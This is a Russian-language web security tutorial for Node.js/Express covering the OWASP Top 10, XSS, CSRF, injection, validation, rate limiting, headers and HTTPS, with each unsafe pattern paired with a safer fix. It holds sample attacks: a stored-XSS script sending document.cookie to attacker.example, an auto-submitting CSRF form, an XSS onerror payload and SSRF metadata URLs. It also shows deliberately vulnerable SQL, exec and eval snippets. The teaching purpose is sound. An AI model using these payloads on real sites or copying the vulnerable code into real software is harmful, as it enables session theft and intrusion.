Web Security

Web Security — защита веб-приложения, его пользователей, данных и инфраструктуры от несанкционированного доступа, изменения, уничтожения и раскрытия информации.

Безопасность веб-приложения включает:

Основной принцип:

Любые данные, поступающие извне, считаются недоверенными.

Недоверенными могут быть:

Frontend-проверка улучшает пользовательский интерфейс, но не обеспечивает безопасность:

if (user.isAdmin) {
  showDeleteButton();
}

Злоумышленник может обойти интерфейс и отправить запрос напрямую:

DELETE /api/users/42 HTTP/1.1
Authorization: Bearer token

Поэтому критические проверки всегда выполняются на сервере.


Модель угроз

Перед добавлением защитных механизмов полезно определить:

Пример защищаемых ресурсов:

Учётные записи пользователей
Персональные данные
Пароли и токены
Платёжные операции
Административные функции
Исходный код и конфигурация
Резервные копии
Журналы безопасности

Пример поверхностей атаки:

HTTP API
HTML-формы
Загрузка файлов
WebSocket
OAuth callback
Административная панель
Сторонние интеграции
CI/CD
Облачное хранилище
Система восстановления пароля

Безопасность должна проектироваться на нескольких уровнях. Один механизм не должен быть единственной линией защиты.

Такой подход называется defense in depth:

Валидация входа
        ↓
Авторизация
        ↓
Безопасный запрос к базе
        ↓
Экранирование вывода
        ↓
Security headers
        ↓
Журналирование и мониторинг

OWASP Top 10

OWASP Top 10 — обзор наиболее значимых категорий рисков безопасности веб-приложений.

Ниже используется классификация OWASP Top 10: 2021.

Код Категория
A01 Broken Access Control
A02 Cryptographic Failures
A03 Injection
A04 Insecure Design
A05 Security Misconfiguration
A06 Vulnerable and Outdated Components
A07 Identification and Authentication Failures
A08 Software and Data Integrity Failures
A09 Security Logging and Monitoring Failures
A10 Server-Side Request Forgery

OWASP Top 10 — не полный список всех угроз и не готовый чек-лист соответствия. Он помогает определить основные направления проверки.


A01: Broken Access Control

Нарушение контроля доступа возникает, когда пользователь может выполнить действие или получить данные, которые ему не разрешены.

Пример:

GET /api/users/42/orders

Пользователь меняет идентификатор:

GET /api/users/43/orders

Если сервер проверяет только наличие аутентификации, но не принадлежность заказов, пользователь может получить чужие данные.

Небезопасный обработчик:

app.get("/api/orders/:orderId", authenticate, async (request, response) => {
  const order = await orderRepository.findById(
    request.params.orderId,
  );

  return response.json(order);
});

Безопаснее проверять право на конкретный ресурс:

app.get("/api/orders/:orderId", authenticate, async (request, response) => {
  const order = await orderRepository.findById(
    request.params.orderId,
  );

  if (!order) {
    return response.status(404).json({
      error: "not_found",
      message: "Заказ не найден",
    });
  }

  const canRead =
    order.userId === request.user.id ||
    request.user.permissions.includes("order:read:any");

  if (!canRead) {
    return response.status(403).json({
      error: "forbidden",
      message: "Недостаточно прав",
    });
  }

  return response.json(order);
});

Защита включает:

Горизонтальное повышение привилегий — доступ к данным другого пользователя того же уровня.

Вертикальное повышение привилегий — получение возможностей администратора или другой более привилегированной роли.


A02: Cryptographic Failures

Категория связана с неправильной защитой чувствительных данных.

Примеры:

Нежелательно:

const passwordHash = createHash("sha256")
  .update(password)
  .digest("hex");

Обычный SHA-256 слишком быстр для пользовательских паролей.

Предпочтительно использовать специализированную функцию:

import bcrypt from "bcrypt";

const passwordHash = await bcrypt.hash(
  password,
  12,
);

Криптографические ключи нельзя хранить в репозитории:

const jwtSecret = "production-secret";

Они должны поступать из защищённой конфигурации:

const jwtSecret = process.env.JWT_SECRET;

if (!jwtSecret) {
  throw new Error(
    "Переменная JWT_SECRET не настроена",
  );
}

A03: Injection

Injection возникает, когда недоверенные данные интерпретируются как команда, запрос или код.

В эту категорию входят:

Основной принцип защиты:

Данные должны оставаться данными,
а не становиться частью команды.

Для этого используются:


A04: Insecure Design

Небезопасный дизайн означает, что проблема находится не в одной строке кода, а в самой модели системы.

Примеры:

Небезопасный расчёт заказа:

const order = await orderRepository.create({
  userId: request.user.id,
  total: request.body.total,
});

Клиент может передать:

{
  "total": 1
}

Стоимость должна рассчитываться сервером:

const products = await productRepository.findByIds(
  request.body.items.map((item) => item.productId),
);

const total = calculateOrderTotal({
  requestedItems: request.body.items,
  products,
});

Безопасный дизайн требует анализа угроз ещё до реализации.


A05: Security Misconfiguration

Примеры неправильной конфигурации:

Нежелательный ответ:

{
  "message": "SQL query failed",
  "query": "SELECT * FROM users WHERE email = ...",
  "stack": "Error: connection refused at ..."
}

Безопаснее возвращать внешнее сообщение:

{
  "error": "internal_error",
  "message": "Не удалось обработать запрос",
  "requestId": "req-2f8d7a"
}

Подробности сохраняются в защищённом журнале:

logger.error("Database query failed", {
  requestId: request.id,
  error,
});

A06: Vulnerable and Outdated Components

Уязвимость может находиться в:

Проверка npm-зависимостей:

npm audit

Но автоматический отчёт необходимо анализировать. Не каждая найденная уязвимость достижима в конкретном приложении, а отсутствие отчётов не гарантирует безопасность.

Полезные меры:

Нельзя автоматически запускать агрессивное исправление зависимостей без тестов:

npm audit fix --force

Команда может установить несовместимые версии и сломать приложение.


A07: Identification and Authentication Failures

Категория включает:

Вместо разных сообщений:

Пользователь не найден
Неверный пароль

лучше возвращать одинаковый ответ:

Неверный email или пароль

После входа следует заменить идентификатор сессии, чтобы предотвратить фиксацию сессии.

После изменения пароля или компрометации аккаунта желательно:


A08: Software and Data Integrity Failures

Категория связана с недоверенными обновлениями, кодом и данными.

Примеры:

Нежелательно:

const functionBody = request.body.code;

const result = eval(functionBody);

Также опасно:

const handler = new Function(
  "data",
  request.body.expression,
);

Недоверенные данные не должны исполняться как JavaScript.

Следует защищать:


A09: Security Logging and Monitoring Failures

Если события безопасности не журналируются и не отслеживаются, атака может оставаться незамеченной.

Полезно фиксировать:

Пример:

logger.warn("Authorization denied", {
  requestId: request.id,
  userId: request.user?.id,
  action: "user:delete",
  targetUserId: request.params.userId,
  ipAddress: request.ip,
});

Нельзя журналировать:

Нежелательно:

logger.info("Request received", {
  headers: request.headers,
  body: request.body,
});

Так в журнал могут попасть секреты.


A10: Server-Side Request Forgery

SSRF возникает, когда сервер получает URL от пользователя и сам выполняет запрос без достаточных ограничений.

Небезопасный пример:

app.post("/api/preview", async (request, response) => {
  const externalResponse = await fetch(
    request.body.url,
  );

  const content = await externalResponse.text();

  return response.send(content);
});

Злоумышленник может попытаться запросить:

http://localhost:3000/admin
http://127.0.0.1/internal
http://169.254.169.254/

Простая начальная защита через allowlist:

const allowedHosts = new Set([
  "images.example.com",
  "cdn.example.com",
]);

function validateExternalUrl(rawUrl) {
  const url = new URL(rawUrl);

  if (url.protocol !== "https:") {
    throw new Error(
      "Разрешён только HTTPS",
    );
  }

  if (!allowedHosts.has(url.hostname)) {
    throw new Error(
      "Домен не разрешён",
    );
  }

  return url;
}

Этой проверки может быть недостаточно для сложной SSRF-защиты. Необходимо учитывать:

Самая надёжная схема — не принимать произвольный URL, а разрешать обращение только к заранее известным сервисам.


XSS

XSS (Cross-Site Scripting) — внедрение JavaScript или другого активного содержимого в страницу, открываемую пользователем.

Последствия XSS:

HttpOnly защищает cookie от прямого чтения JavaScript, но не устраняет XSS. Вредоносный скрипт всё равно может отправлять запросы от имени пользователя.


Stored XSS

Вредоносное содержимое сохраняется в системе и показывается другим пользователям.

Например, пользователь сохраняет комментарий:

<script>
  fetch("https://attacker.example/collect", {
    method: "POST",
    body: document.cookie
  });
</script>

Если приложение выводит комментарий как HTML, скрипт может выполниться у других пользователей.


Reflected XSS

Недоверенное значение сразу включается в HTML-ответ.

Небезопасная логика:

app.get("/search", (request, response) => {
  response.send(`
    <h1>Результаты для ${request.query.q}</h1>
  `);
});

Запрос может содержать HTML:

/search?q=<img src=x onerror=alert(1)>

Если значение не экранируется, браузер интерпретирует его как разметку.


DOM-based XSS

Уязвимость возникает в клиентском JavaScript.

Небезопасно:

const message =
  new URLSearchParams(location.search)
    .get("message");

document.querySelector("#result").innerHTML =
  message;

Безопаснее:

const message =
  new URLSearchParams(location.search)
    .get("message");

document.querySelector("#result").textContent =
  message;

textContent создаёт текст, а не HTML-разметку.


Опасные HTML API

Особого внимания требуют:

element.innerHTML = value;
element.outerHTML = value;
element.insertAdjacentHTML("beforeend", value);
document.write(value);

Также опасно выполнять строки как код:

eval(value);
new Function(value);
setTimeout(value, 1000);
setInterval(value, 1000);

В setTimeout и setInterval следует передавать функцию:

setTimeout(() => {
  updateInterface();
}, 1000);

Безопасное создание DOM

Небезопасно:

container.innerHTML = `
  <article>
    <h2>${product.name}</h2>
    <p>${product.description}</p>
  </article>
`;

Безопаснее создавать элементы и задавать текст:

const article = document.createElement("article");
const title = document.createElement("h2");
const description = document.createElement("p");

title.textContent = product.name;
description.textContent = product.description;

article.append(title, description);
container.append(article);

Экранирование вывода

Экранирование зависит от контекста.

Одни и те же данные могут использоваться в:

Нельзя создать одну универсальную функцию, безопасную для всех контекстов.

Для серверных HTML-шаблонов следует использовать автоматическое экранирование шаблонизатора:

<p>{{ userComment }}</p>

Нельзя отключать экранирование для пользовательских данных без необходимости.

Конструкция, позволяющая вставить «сырой HTML», требует отдельной проверки:

raw HTML
unescaped HTML
dangerouslySetInnerHTML
v-html

Санитизация HTML

Иногда приложение должно разрешать часть HTML, например в редакторе статей:

<p>Текст</p>
<strong>Важное</strong>
<a href="https://example.com">Ссылка</a>

В таком случае простое экранирование уничтожит разметку. Требуется HTML-санитайзер с allowlist разрешённых тегов и атрибутов.

Концептуально:

const safeHtml = htmlSanitizer.sanitize(
  untrustedHtml,
  {
    allowedTags: [
      "p",
      "strong",
      "em",
      "ul",
      "ol",
      "li",
      "a",
    ],
    allowedAttributes: {
      a: ["href", "title"],
    },
  },
);

Не следует писать полноценный HTML-санитайзер самостоятельно с помощью регулярного выражения:

const safe = html.replace(
  /<script.*?>.*?<\/script>/gi,
  "",
);

HTML сложен, а вредоносное содержимое может использовать:


Content Security Policy

Content Security Policy (CSP) ограничивает источники скриптов, стилей и других ресурсов.

Пример заголовка:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

CSP является дополнительным уровнем защиты, а не заменой экранирования и санитизации.

Небезопасная директива:

script-src 'self' 'unsafe-inline'

'unsafe-inline' разрешает инлайн-скрипты и ослабляет защиту.

Для разрешённых инлайн-скриптов можно применять nonce:

import { randomBytes } from "node:crypto";

function createNonce() {
  return randomBytes(16).toString("base64");
}

Заголовок:

Content-Security-Policy: script-src 'self' 'nonce-random-value'

HTML:

<script nonce="random-value">
  initializeApplication();
</script>

Nonce должен:

Внедрение строгой CSP удобно начинать с режима отчётов:

Content-Security-Policy-Report-Only: ...

После анализа нарушений политика включается в блокирующем режиме.


Защита от XSS

Основные меры:


CSRF

CSRF (Cross-Site Request Forgery) — атака, при которой браузер пользователя отправляет запрос к доверенному сайту под влиянием другого сайта.

CSRF особенно актуальна, когда браузер автоматически добавляет учётные данные:

Пример уязвимой операции:

POST /api/email/change HTTP/1.1
Cookie: session=authenticated-session

newEmail=attacker@example.com

Злоумышленник может разместить на другом сайте форму:

<form
  action="https://app.example.com/api/email/change"
  method="post"
>
  <input
    type="hidden"
    name="newEmail"
    value="attacker@example.com"
  >
</form>

<script>
  document.forms[0].submit();
</script>

Если сервер доверяет только cookie, он может принять запрос.


CSRF-токен

Сервер создаёт случайный токен, связывает его с сессией и передаёт странице.

Клиент возвращает токен в запросе:

X-CSRF-Token: random-token

Проверка:

function verifyCsrfToken(request) {
  const expectedToken =
    request.session.csrfToken;

  const receivedToken =
    request.headers["x-csrf-token"];

  if (
    !expectedToken ||
    !receivedToken ||
    expectedToken !== receivedToken
  ) {
    throw new Error(
      "Некорректный CSRF-токен",
    );
  }
}

Для криптографических токенов можно использовать сравнение с постоянным временем:

import { timingSafeEqual } from "node:crypto";

function safeTokenEqual(left, right) {
  const leftBuffer = Buffer.from(left ?? "");
  const rightBuffer = Buffer.from(right ?? "");

  if (leftBuffer.length !== rightBuffer.length) {
    return false;
  }

  return timingSafeEqual(
    leftBuffer,
    rightBuffer,
  );
}

Проверка:

if (
  !safeTokenEqual(
    expectedToken,
    receivedToken,
  )
) {
  throw new Error(
    "Некорректный CSRF-токен",
  );
}

Токен должен быть непредсказуемым:

import { randomBytes } from "node:crypto";

function createCsrfToken() {
  return randomBytes(32).toString("base64url");
}

Атрибут SameSite ограничивает межсайтовую отправку cookie.

response.cookie(
  "__Host-session",
  sessionId,
  {
    httpOnly: true,
    secure: true,
    sameSite: "lax",
    path: "/",
  },
);

Варианты:

Значение Поведение
Strict Наиболее строго ограничивает межсайтовую отправку
Lax Разрешает часть обычных навигаций
None Разрешает межсайтовую отправку, требует Secure

SameSite — важная защита, но для чувствительных систем её полезно сочетать с CSRF-токенами и проверкой источника.


Проверка Origin

Для запросов, изменяющих состояние, сервер может проверять Origin:

const allowedOrigins = new Set([
  "https://app.example.com",
]);

function verifyOrigin(request) {
  const origin = request.headers.origin;

  if (
    !origin ||
    !allowedOrigins.has(origin)
  ) {
    throw new Error(
      "Недопустимый источник запроса",
    );
  }
}

Проверку нельзя выполнять через частичное совпадение:

origin.endsWith("example.com");

Такой код может разрешить:

https://notexample.com
https://example.com.attacker.example

Необходимо сравнивать полностью разобранный origin с allowlist.


Запрет изменения через GET

Метод GET не должен изменять состояние:

Нежелательно:
GET /api/users/42/delete

Предпочтительно:
DELETE /api/users/42

Ссылки, изображения, preview-системы и поисковые роботы могут выполнять GET автоматически.


Bearer-токены и CSRF

Если access-токен хранится в памяти приложения и вручную добавляется в заголовок:

Authorization: Bearer token

другой сайт обычно не может заставить браузер автоматически добавить этот заголовок.

Это уменьшает риск классического CSRF, но:


CORS не заменяет CSRF-защиту

CORS управляет тем, может ли JavaScript другого origin прочитать ответ и выполнить некоторые типы запросов.

Но браузер способен отправить часть межсайтовых запросов и без разрешения на чтение ответа.

Поэтому нельзя считать такую конфигурацию достаточной:

Access-Control-Allow-Origin: https://app.example.com

Для cookie-аутентификации отдельно проектируется CSRF-защита.


Защита от CSRF

Основные меры:


SQL Injection

SQL injection возникает, когда пользовательские данные становятся частью SQL-синтаксиса.

Небезопасный запрос:

const query = `
  SELECT id, email
  FROM users
  WHERE email = '${request.body.email}'
`;

const user = await database.query(query);

Злоумышленник может передать значение, изменяющее структуру запроса.

Проблема заключается не только в кавычках. Самостоятельное экранирование строк сложно и зависит от базы данных, кодировки и режима SQL.


Параметризованные запросы

Пользовательские данные передаются отдельно от SQL:

const user = await database.query(
  `
    SELECT id, email
    FROM users
    WHERE email = ?
  `,
  [request.body.email],
);

Для драйверов с нумерованными параметрами:

const result = await database.query(
  `
    SELECT id, email
    FROM users
    WHERE email = $1
  `,
  [request.body.email],
);

База рассматривает значение как данные, а не часть команды.


INSERT и UPDATE

Безопасная вставка:

await database.query(
  `
    INSERT INTO users (
      email,
      password_hash
    )
    VALUES ($1, $2)
  `,
  [email, passwordHash],
);

Безопасное обновление:

await database.query(
  `
    UPDATE users
    SET display_name = $1
    WHERE id = $2
  `,
  [displayName, userId],
);

Динамические имена столбцов

Параметры SQL обычно нельзя использовать для имён таблиц, столбцов и направлений сортировки.

Небезопасно:

const sort = request.query.sort;

const users = await database.query(`
  SELECT id, email
  FROM users
  ORDER BY ${sort}
`);

Следует использовать allowlist:

const allowedSortFields = {
  name: "display_name",
  createdAt: "created_at",
  email: "email",
};

function getOrderBy(sortField) {
  const column =
    allowedSortFields[sortField];

  if (!column) {
    return "created_at";
  }

  return column;
}

Направление сортировки:

function getSortDirection(direction) {
  return direction === "asc"
    ? "ASC"
    : "DESC";
}

Создание запроса:

const column = getOrderBy(
  request.query.sort,
);

const direction = getSortDirection(
  request.query.direction,
);

const result = await database.query(
  `
    SELECT id, email, display_name
    FROM users
    ORDER BY ${column} ${direction}
    LIMIT $1
  `,
  [limit],
);

Здесь интерполируются только значения из заранее заданного списка, а пользовательские числа передаются параметрами.


ORM и SQL injection

ORM уменьшает вероятность SQL injection, если используется стандартный API:

const user = await orm.user.findUnique({
  where: {
    email: request.body.email,
  },
});

Но raw queries могут вернуть уязвимость:

await orm.rawQuery(`
  SELECT *
  FROM users
  WHERE email = '${email}'
`);

Использование ORM не освобождает от проверки:


Минимальные права базы данных

Даже при SQL injection последствия можно уменьшить, если приложение использует учётную запись с минимальными правами.

Обычному приложению не должны без необходимости предоставляться:

Отдельным сервисам полезно выдавать отдельные учётные данные.


Защита от SQL injection

Основные меры:


Command Injection

Недоверенные данные нельзя вставлять в команду оболочки.

Небезопасно:

import { exec } from "node:child_process";

exec(
  `convert ${request.body.fileName} output.png`,
);

Значение может изменить выполняемую команду.

Если внешний процесс действительно необходим, следует избегать оболочки и передавать аргументы отдельно:

import { execFile } from "node:child_process";

execFile(
  "convert",
  [inputPath, outputPath],
  {
    timeout: 10_000,
  },
  (error) => {
    if (error) {
      // Обработка ошибки
    }
  },
);

Дополнительно нужны:


Валидация входных данных

Валидация проверяет, соответствует ли значение ожидаемому формату и бизнес-правилам.

Примеры:

email имеет допустимый формат
age является целым числом
role входит в разрешённый список
quantity больше нуля
строка не превышает максимальную длину
дата находится в допустимом диапазоне

Валидация не должна ограничиваться frontend.

Frontend:

if (!email.includes("@")) {
  showError("Введите email");
}

Сервер всё равно обязан проверить значение повторно.


Allowlist вместо denylist

Allowlist определяет допустимые значения:

const allowedRoles = new Set([
  "reader",
  "editor",
]);

if (!allowedRoles.has(input.role)) {
  throw new Error(
    "Недопустимая роль",
  );
}

Denylist запрещает только известные опасные значения:

const forbiddenValues = [
  "admin",
  "superuser",
];

Проблема denylist — невозможно заранее перечислить все опасные варианты.

Для структурированных полей предпочтителен allowlist.


Проверка типа

Нельзя полагаться на ожидаемый JSON-тип:

const quantity = request.body.quantity;

Клиент может отправить:

{
  "quantity": "10"
}

или:

{
  "quantity": {
    "$gt": 0
  }
}

Проверка:

function validateQuantity(value) {
  if (!Number.isInteger(value)) {
    throw new ValidationError(
      "Количество должно быть целым числом",
    );
  }

  if (value < 1 || value > 100) {
    throw new ValidationError(
      "Количество должно быть от 1 до 100",
    );
  }

  return value;
}

Проверка строки

function validateDisplayName(value) {
  if (typeof value !== "string") {
    throw new ValidationError(
      "Имя должно быть строкой",
    );
  }

  const normalizedValue = value.trim();

  if (
    normalizedValue.length < 2 ||
    normalizedValue.length > 80
  ) {
    throw new ValidationError(
      "Имя должно содержать от 2 до 80 символов",
    );
  }

  return normalizedValue;
}

Не следует применять .trim() или Unicode-нормализацию ко всем данным автоматически. Например, изменение пароля может привести к тому, что пользователь не сможет войти с исходным значением.


Проверка объекта

class ValidationError extends Error {
  constructor(message, details = []) {
    super(message);
    this.name = "ValidationError";
    this.details = details;
  }
}

function validateCreateProduct(input) {
  if (
    !input ||
    typeof input !== "object" ||
    Array.isArray(input)
  ) {
    throw new ValidationError(
      "Ожидался объект",
    );
  }

  const errors = [];

  if (
    typeof input.name !== "string" ||
    input.name.trim().length < 2 ||
    input.name.trim().length > 120
  ) {
    errors.push({
      field: "name",
      message:
        "Название должно содержать от 2 до 120 символов",
    });
  }

  if (
    typeof input.price !== "number" ||
    !Number.isFinite(input.price) ||
    input.price < 0
  ) {
    errors.push({
      field: "price",
      message:
        "Цена должна быть неотрицательным числом",
    });
  }

  const allowedCategories = new Set([
    "books",
    "electronics",
    "clothes",
  ]);

  if (
    !allowedCategories.has(input.category)
  ) {
    errors.push({
      field: "category",
      message: "Недопустимая категория",
    });
  }

  if (errors.length > 0) {
    throw new ValidationError(
      "Данные не прошли проверку",
      errors,
    );
  }

  return {
    name: input.name.trim(),
    price: input.price,
    category: input.category,
  };
}

Неизвестные поля и mass assignment

Пользователь может отправить дополнительные свойства:

{
  "name": "Анна",
  "email": "anna@example.com",
  "role": "admin",
  "isVerified": true
}

Небезопасно передавать объект напрямую в ORM:

await userRepository.create(
  request.body,
);

Следует явно выбирать разрешённые поля:

const input = {
  name: request.body.name,
  email: request.body.email,
};

И затем передавать проверенный объект:

await userRepository.create(input);

Это защищает от mass assignment, когда клиент пытается изменить внутренние поля модели.


Ограничение размера запроса

Даже корректный по структуре JSON может быть слишком большим.

В Express:

app.use(
  express.json({
    limit: "100kb",
  }),
);

Для разных маршрутов могут требоваться разные ограничения.

Загрузка файлов должна отдельно ограничивать:


Санитизация

Санитизация преобразует или удаляет потенциально опасные части значения.

Валидация и санитизация отличаются:

Валидация:
«Допустимо ли это значение?»

Санитизация:
«Как безопасно преобразовать это значение?»

Пример нормализации email:

const normalizedEmail = email
  .trim()
  .toLowerCase();

Но нормализация должна соответствовать требованиям системы. Нельзя бездумно изменять все поля.


Контекстная защита

Разные места использования требуют разных мер:

Контекст Основная защита
SQL Параметризованный запрос
HTML-текст HTML-экранирование
Разрешённый HTML HTML-санитайзер
URL Разбор через URL и allowlist
Команда ОС Отказ от shell, отдельные аргументы
Имя файла Серверное имя и безопасный каталог
JSON Корректная сериализация
HTTP-заголовок Проверка допустимого формата

Нельзя «очистить строку один раз» и считать её безопасной во всех контекстах.


Валидация URL

const allowedProtocols = new Set([
  "https:",
]);

const allowedHosts = new Set([
  "cdn.example.com",
  "images.example.com",
]);

function validateImageUrl(rawValue) {
  let url;

  try {
    url = new URL(rawValue);
  } catch {
    throw new ValidationError(
      "Некорректный URL",
    );
  }

  if (!allowedProtocols.has(url.protocol)) {
    throw new ValidationError(
      "Недопустимый протокол",
    );
  }

  if (!allowedHosts.has(url.hostname)) {
    throw new ValidationError(
      "Недопустимый домен",
    );
  }

  return url.toString();
}

Проверка только начала строки ненадёжна:

rawValue.startsWith(
  "https://example.com",
);

Такой вариант может ошибочно принять адрес с похожим префиксом.


Безопасная работа с путями

Небезопасно:

const filePath =
  `/uploads/${request.params.fileName}`;

Пользователь может попытаться передать сегменты перехода между каталогами.

Безопаснее не использовать клиентское имя как физический путь:

import { randomUUID } from "node:crypto";

const storedFileName = randomUUID();

Если требуется доступ к файлу, полезно связывать публичный ID с серверной записью:

const file = await fileRepository.findById(
  request.params.fileId,
);

if (!file || file.ownerId !== request.user.id) {
  throw new Error("Файл не найден");
}

return sendStoredFile(file.storageKey);

Rate Limiting

Rate limiting ограничивает число операций за определённый период.

Он помогает защищаться от:

Rate limiting не заменяет полноценную защиту от распределённых атак, но является важным уровнем.


Ответ при превышении лимита

HTTP/1.1 429 Too Many Requests
Retry-After: 60
Content-Type: application/json

{
  "error": "rate_limit_exceeded",
  "message": "Слишком много запросов"
}

Простой пример для Express

С использованием middleware ограничения запросов:

import rateLimit from "express-rate-limit";

const apiLimiter = rateLimit({
  windowMs: 60 * 1000,
  limit: 100,
  standardHeaders: true,
  legacyHeaders: false,
});

app.use("/api", apiLimiter);

Более строгий лимит для входа:

const loginLimiter = rateLimit({
  windowMs: 15 * 60 * 1000,
  limit: 10,
  standardHeaders: true,
  legacyHeaders: false,
  skipSuccessfulRequests: true,
});

app.post(
  "/auth/login",
  loginLimiter,
  authController.login,
);

Конкретные значения должны выбираться на основе сценария и наблюдаемого трафика.


Ключ ограничения

Ограничивать запросы можно по:

Ограничение только по IP имеет проблемы:

Для входа полезна комбинированная стратегия:

лимит по IP
+
лимит по учётной записи
+
общий системный лимит
+
мониторинг аномалий

Нельзя блокировать учётную запись навсегда после небольшого числа ошибок: злоумышленник сможет заблокировать любого пользователя.


Распределённое приложение

Хранилище в памяти одного процесса не подходит, если приложение запущено на нескольких экземплярах:

Server 1 — собственный счётчик
Server 2 — собственный счётчик
Server 3 — собственный счётчик

Клиент может попадать на разные серверы и фактически получать увеличенный лимит.

Для распределённой системы используется общее атомарное хранилище, например специализированный backend счётчиков.

Важно обеспечить:


Reverse proxy и IP

Если приложение работает за reverse proxy, адрес запроса может быть адресом самого прокси.

Настройка доверенных прокси должна соответствовать инфраструктуре:

app.set("trust proxy", 1);

Нельзя бездумно доверять всем значениям X-Forwarded-For, которые может прислать клиент. Иначе атакующий сможет подменить IP и обходить ограничения.


Алгоритмы rate limiting

Распространённые варианты:

Fixed window

Например, не более 100 запросов в каждую минуту.

Преимущество — простота.

Недостаток — на границе окон клиент может быстро выполнить почти двойной объём.

Sliding window

Учитывает запросы за реальный скользящий период.

Даёт более точное ограничение, но требует более сложного хранения.

Token bucket

У пользователя есть набор токенов. Каждый запрос расходует один токен, а токены постепенно восстанавливаются.

Позволяет кратковременные всплески трафика, сохраняя среднее ограничение.

Leaky bucket

Запросы обрабатываются с контролируемой скоростью, что сглаживает всплески.


Что ограничивать отдельно

Разные операции имеют разную стоимость и риск:

GET /public/products     — относительно высокий лимит
POST /auth/login         — строгий лимит
POST /password/reset     — строгий лимит
POST /reports/export     — очень строгий лимит
POST /search             — лимит по вычислительной стоимости
POST /file/upload        — лимит по числу и объёму

Один глобальный лимит не заменяет ограничения чувствительных endpoint.


Secure Headers

Security headers управляют поведением браузера и уменьшают последствия некоторых атак.

Для Express часто используется middleware Helmet:

import express from "express";
import helmet from "helmet";

const app = express();

app.use(helmet());

Helmet устанавливает набор защитных заголовков, но его конфигурацию следует проверять под конкретное приложение.


Content-Security-Policy

Ограничивает источники загружаемого содержимого:

app.use(
  helmet.contentSecurityPolicy({
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'"],
      imgSrc: [
        "'self'",
        "data:",
        "https://images.example.com",
      ],
      connectSrc: [
        "'self'",
        "https://api.example.com",
      ],
      objectSrc: ["'none'"],
      baseUri: ["'self'"],
      frameAncestors: ["'none'"],
      formAction: ["'self'"],
    },
  }),
);

Политика должна разрешать только действительно нужные источники.

Не следует добавлять широкие разрешения только для устранения ошибок:

script-src *
script-src 'unsafe-inline'
connect-src *

Strict-Transport-Security

HSTS сообщает браузеру, что сайт должен открываться только по HTTPS:

Strict-Transport-Security:
  max-age=31536000;
  includeSubDomains

Через Helmet:

app.use(
  helmet.hsts({
    maxAge: 31_536_000,
    includeSubDomains: true,
    preload: false,
  }),
);

HSTS следует включать после того, как HTTPS надёжно работает на основном домене и нужных поддоменах.

Опция includeSubDomains может нарушить работу поддомена, который ещё не поддерживает HTTPS.

Подача домена в preload-список — отдельное ответственное решение. Ошибочную конфигурацию невозможно быстро отменить у уже обновивших список браузеров.


X-Content-Type-Options

X-Content-Type-Options: nosniff

Запрещает браузеру угадывать тип ресурса вопреки Content-Type.

Сервер должен возвращать правильные MIME-типы:

Content-Type: application/javascript
Content-Type: text/css
Content-Type: application/json

Frame protection

Защищает от встраивания страницы в чужой iframe и части атак clickjacking.

Современная директива CSP:

Content-Security-Policy:
  frame-ancestors 'none'

Также может использоваться:

X-Frame-Options: DENY

Если встраивание разрешено только собственному сайту:

frame-ancestors 'self'

Referrer-Policy

Ограничивает информацию, передаваемую в заголовке Referer:

Referrer-Policy: strict-origin-when-cross-origin

Через Helmet:

app.use(
  helmet.referrerPolicy({
    policy:
      "strict-origin-when-cross-origin",
  }),
);

Чувствительные значения всё равно не следует помещать в URL.


Permissions-Policy

Ограничивает доступ страницы к возможностям браузера:

Permissions-Policy:
  camera=(),
  microphone=(),
  geolocation=()

Если приложение не использует камеру, микрофон или геолокацию, доступ можно запретить.

Пример middleware:

app.use((request, response, next) => {
  response.setHeader(
    "Permissions-Policy",
    "camera=(), microphone=(), geolocation=()",
  );

  next();
});

Cross-Origin headers

В зависимости от приложения могут использоваться:

Cross-Origin-Opener-Policy
Cross-Origin-Resource-Policy
Cross-Origin-Embedder-Policy

Они помогают изолировать контекст страницы и контролировать межсайтовое использование ресурсов.

Но строгая конфигурация может нарушить:

Такие заголовки необходимо тестировать.


Удаление лишней информации

Не следует раскрывать используемый сервер без необходимости.

В Express:

app.disable("x-powered-by");

Это не является основной защитой, но уменьшает лишнее раскрытие деталей.


Helmet не решает всё

Helmet не защищает автоматически от:

Он устанавливает часть браузерных защитных заголовков и должен использоваться вместе с другими мерами.


Обязательность HTTPS

HTTPS — HTTP поверх TLS.

HTTPS обеспечивает:

Без HTTPS злоумышленник в сети может:

HTTPS обязателен не только для страницы входа, но и для всего приложения.

Если страница входа защищена, а остальные страницы работают по HTTP, сессионные данные всё равно могут быть перехвачены.


Redirect с HTTP на HTTPS

На внешнем reverse proxy обычно настраивается постоянное перенаправление:

http://example.com
        ↓
https://example.com

Если перенаправление выполняет Node.js-приложение за доверенным proxy:

app.set("trust proxy", 1);

app.use((request, response, next) => {
  if (request.secure) {
    return next();
  }

  return response.redirect(
    308,
    `https://${request.headers.host}${request.originalUrl}`,
  );
});

Значение Host относится к недоверенным данным. В системах с фиксированным доменом безопаснее использовать заранее настроенный canonical host:

const publicOrigin =
  "https://app.example.com";

app.use((request, response, next) => {
  if (request.secure) {
    return next();
  }

  return response.redirect(
    308,
    `${publicOrigin}${request.originalUrl}`,
  );
});

Во многих инфраструктурах redirect надёжнее выполнять на балансировщике или reverse proxy.


Чувствительные cookie должны использовать Secure:

response.cookie(
  "__Host-session",
  sessionId,
  {
    secure: true,
    httpOnly: true,
    sameSite: "lax",
    path: "/",
  },
);

Secure запрещает отправку cookie по обычному HTTP.

HttpOnly запрещает обычному JavaScript читать cookie.

SameSite ограничивает межсайтовую отправку.


Mixed Content

HTTPS-страница не должна загружать ресурсы по HTTP:

<script src="http://example.com/app.js"></script>

Нужно:

<script src="https://example.com/app.js"></script>

Смешанное содержимое может быть заблокировано браузером или создать риск подмены.

Особенно опасны по HTTP:

Для защищённого WebSocket используется:

wss://

вместо:

ws://

TLS внутри инфраструктуры

HTTPS на внешнем балансировщике защищает клиентский трафик до балансировщика.

Далее необходимо оценить внутренний маршрут:

Клиент
  ↓ HTTPS
Load Balancer
  ↓ HTTP или HTTPS
Application

Если внутренняя сеть не является полностью доверенной или трафик проходит через общую инфраструктуру, TLS следует использовать и между внутренними компонентами.


Сертификаты

Практические требования:

Самоподписанный сертификат не подходит для обычного публичного production-сайта без настроенной доверенной инфраструктуры.


Управление секретами

Секреты — данные, владение которыми предоставляет доступ или возможность подписывать, расшифровывать и выполнять привилегированные операции.

Примеры:

Секреты нельзя хранить:


Небезопасный код

const database = createDatabase({
  host: "db.example.com",
  user: "application",
  password: "production-password",
});

